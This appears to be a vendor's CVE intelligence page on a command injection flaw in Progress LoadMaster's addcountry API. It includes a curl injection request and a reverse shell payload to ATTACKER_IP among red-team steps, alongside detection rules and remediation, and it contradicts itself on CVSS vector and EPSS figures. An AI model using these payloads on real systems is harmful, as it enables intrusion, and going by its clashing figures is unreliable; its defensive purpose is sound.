☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Progress Software logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.4 CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-3517

CVE-2026-3517 is a critical OS Command Injection vulnerability in Progress ADC (Application Delivery Controller) products, specifically affecting the LoadMaster appliance.
📅 PUBLISHED: 2026-04-20 14:16 UTC 🔄 UPDATED: 2026-09-23 20:15 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 15.49%
👁️
15.49% probability
387.2× above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.4
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-3517 is a critical OS Command Injection vulnerability in Progress ADC (Application Delivery Controller) products, specifically affecting the LoadMaster appliance. An authenticated attacker with “Geo Administration” permissions can exploit unsanitized input in the addcountry API command to execute arbitrary operating system commands on the underlying appliance. This allows for full remote code execution (RCE) with the privileges of the web server process, typically root or a highly privileged user. The vulnerability has a CVSS score of 8.4 (High), and while the EPSS score is currently 0.0%, the potential for weaponization is significant given the critical nature of ADC devices in network infrastructure. A patch is available from Progress Software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.4 (High)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): High (H) – Requires “Geo Administration” permissions.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Full system compromise possible.
  • Integrity (I): High (H) – Full system compromise possible.
  • Availability (A): High (H) – Full system compromise possible.

Threat Level: High. While authentication is required, the “Geo Administration” role is often assigned to network/security administrators, making this a realistic attack vector for insider threats or attackers who have already compromised a lower-privileged account.

Deep Dive & Mechanics

The vulnerability resides in the API endpoint that handles the addcountry command. This command is used to add geographic location data to the LoadMaster configuration. The application fails to properly sanitize user-supplied input before passing it to the underlying operating system shell.

Attack Flow:

  1. An attacker authenticates to the LoadMaster API with a user account that has “Geo Administration” permissions.
  2. The attacker crafts a malicious addcountry request, injecting OS commands into one of the input fields (e.g., country name, code, or other parameters).
  3. The backend API constructs a system command string by concatenating the unsanitized input.
  4. The command is executed by the operating system (e.g., via system(), exec(), or similar function).
  5. The attacker’s injected commands run with the privileges of the web server process, typically root on embedded appliances.

Example (Conceptual):

# Vulnerable pseudo-code
command = "addcountry --name " + user_input + " --code " + user_code
system(command)

An attacker could input: USA; id or USA && whoami to execute arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def add_country(name, code):
    # UNSAFE: Direct string concatenation
    cmd = f"addcountry --name {name} --code {code}"
    subprocess.run(cmd, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def add_country(name, code):
    # SAFE: Use shlex.quote() to escape shell metacharacters
    safe_name = shlex.quote(name)
    safe_code = shlex.quote(code)
    cmd = f"addcountry --name {safe_name} --code {safe_code}"
    subprocess.run(cmd, shell=True)

The patched version uses shlex.quote() to properly escape shell metacharacters, preventing command injection. Alternatively, the application could avoid using shell=True and pass arguments as a list.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Valid credentials with “Geo Administration” permissions.
  • Network access to the LoadMaster API endpoint (typically port 443 or 8443).

Exploitation Steps:

  1. Authenticate to the API and obtain a session token.
  2. Send a crafted POST request to the vulnerable endpoint (e.g., /api/geo/addcountry).
  3. Inject OS commands in the country or code parameter.

Example cURL Command:

curl -X POST https://target-loadmaster/api/geo/addcountry \
  -H "Authorization: Bearer <token>" \
  -d 'country=USA;id&code=US'

Expected Output: The response may include the output of the id command, or the command may execute silently. Use a reverse shell for interactive access.

Reverse Shell Payload:

country=USA;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1&code=US

Blue Team (Defensive)

Detection:

  • Monitor API logs for unusual addcountry requests containing shell metacharacters (;, |, &&, $(), backticks).
  • Alert on authentication attempts from unexpected IPs followed by addcountry API calls.
  • Use WAF rules to block requests with OS command patterns in API parameters.

Hunting:

  • Search for processes spawned by the web server user that are not typical (e.g., bash, sh, nc, python).
  • Review system logs for command execution events (e.g., auditd logs on Linux).

Containment:

  • Immediately revoke “Geo Administration” permissions for all users.
  • Isolate the affected LoadMaster appliance from the network.
  • Apply the vendor patch as soon as possible.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /api/geo/addcountry with shell metacharacters in parameters.
    • Outbound connections from the LoadMaster to unknown IPs on high ports (e.g., 4444, 1337).
  • Host IOCs:
    • Unexpected processes: bash, sh, python, perl, nc running as the web server user.
    • Files created in /tmp or /var/tmp with suspicious names (e.g., .exploit, shell.sh).
    • Modified system binaries or configuration files.
  • Log IOCs:
    • Auditd logs showing execution of commands like id, whoami, wget, curl from the web server process.
    • API access logs showing repeated failed authentication followed by successful addcountry calls.

Detection Engineering

YARA Rule

rule CVE_2026_3517_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting CVE-2026-3517 in Progress ADC LoadMaster"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-3517"
    strings:
        $cmd1 = /addcountry.*[;&|`$()]/
        $cmd2 = /country=.*[;&|`$()]/
        $cmd3 = /code=.*[;&|`$()]/
    condition:
        any of ($cmd1, $cmd2, $cmd3)
}

Sigma Rule

title: CVE-2026-3517 - Progress ADC LoadMaster Command Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects command injection attempts in Progress ADC LoadMaster API
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-3517
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'addcountry'
            - 'country='
            - 'code='
        cs-uri-query|re: '.*[;&|`$()].*'
    condition: selection
falsepositives:
    - Legitimate use of special characters in country names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-3517 - Progress ADC LoadMaster Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/geo/addcountry"; http_uri;
    pcre:"/(?:[;&|`$()].*addcountry|addcountry.*[;&|`$()])/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2026-3517;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Apply Patch: Contact Progress Software and apply the official patch for CVE-2026-3517.
  2. Restrict Access: Limit API access to trusted IPs only using firewall rules.
  3. Review Permissions: Audit all users with “Geo Administration” permissions and remove unnecessary accounts.

Long-Term Mitigations:

  • Implement input validation and output encoding for all API endpoints.
  • Use parameterized commands or avoid shell execution entirely.
  • Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
  • Enable comprehensive logging and monitoring for all administrative API calls.
  • Conduct regular security assessments and penetration testing on ADC appliances.

Workaround (if patching is delayed):

  • Disable the addcountry API endpoint temporarily by modifying the web server configuration.
  • Implement a reverse proxy that inspects and sanitizes API requests before forwarding to the LoadMaster.

Valters IT

{/* [Security Hash: A136789CAC756DF75A51A23E] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-3517/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.